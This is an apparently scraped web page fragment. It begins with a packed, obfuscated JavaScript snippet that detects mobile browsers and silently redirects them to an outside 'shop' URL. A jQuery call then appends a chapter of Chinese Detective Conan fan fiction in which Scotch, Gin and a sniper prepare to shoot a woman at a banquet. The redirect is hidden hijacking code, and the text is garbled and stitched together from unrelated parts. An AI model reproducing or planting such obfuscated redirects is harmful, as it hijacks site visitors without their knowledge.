d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16860111|188151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样说着山内优子的罪行,仿佛这样就能减轻一丝杀人的负罪感,但是他同样也知道,这不过是在自欺欺人,杀人就是杀人,没有任何一次杀人行为是能够有正当理由的。 这就是卧底最大的痛苦所在,但是他不得不硬着头皮走下去,为了捣毁组织救更多的人,在一切结束后,他会获得应有的审判。 “哇塞!……天哪……”苏格兰的介绍让若间菊江听得啧啧称奇,像捧哏一样时不时发出感叹的声音。 “苏格兰,你话太多了。”一旁的琴酒忍无可忍,打断道。 “抱歉抱歉,看柯尔希这么感兴趣,一不留神就说多了。”苏格兰解释道,不过他最后还是加了一句,为这场科普收尾,“组织要对她下手的原因则是,山内优子这两年想要洗手上岸,正在收集组织的资料想要作为交换寻求官方的庇护,但是看起来还没有下定决心。” 公安已经主动接触了山内优子,希望能够对她提供保护,来换取组织的信息,但对方很谨慎,一直没有松口,然后苏格兰就收到了这次的任务。 组织对山内优子也很重视,派了三个代号成员来执行任务,公安方面在接到消息后综合评估,任务如果贸然动手风险太大,只好放弃了针对山内优子个人的行动,只命令苏格兰在任务过程中尽量找到山内优子藏起来的文件。 没想到这次琴酒甚至亲自来监督,苏格兰的心沉了沉,即使是他也没把握同时骗过另外那三个人的眼睛。 “少废话,”琴酒说道,“背叛组织的那一刻她就应该做好准备去见上帝了。” “柯尔希,抓紧时间。”他催促道。 若间菊江的瞄准镜一直跟随着山内优子的身影,看着她和其他人交谈,或捂嘴轻笑,或举杯共饮,手中的高脚杯里盛着金黄的香槟,在灯光的照射下发出琉璃一般的颜色。 “别急嘛琴酒,看,死人在喝酒。”若间菊江的语气轻飘飘的。 宴会厅里,山内优子正带着笑容抬起手臂。 “叮”的一声,两只杯子轻轻碰了一下,杯内的香槟翻涌出细碎的泡沫,又很快消散下去。 山内优子优雅地抿了一口金色的酒液,微微皱眉,她并不喜欢这款香槟的口感。 丝毫没有意识到几百米外,漆黑的枪口对准了她的脑袋。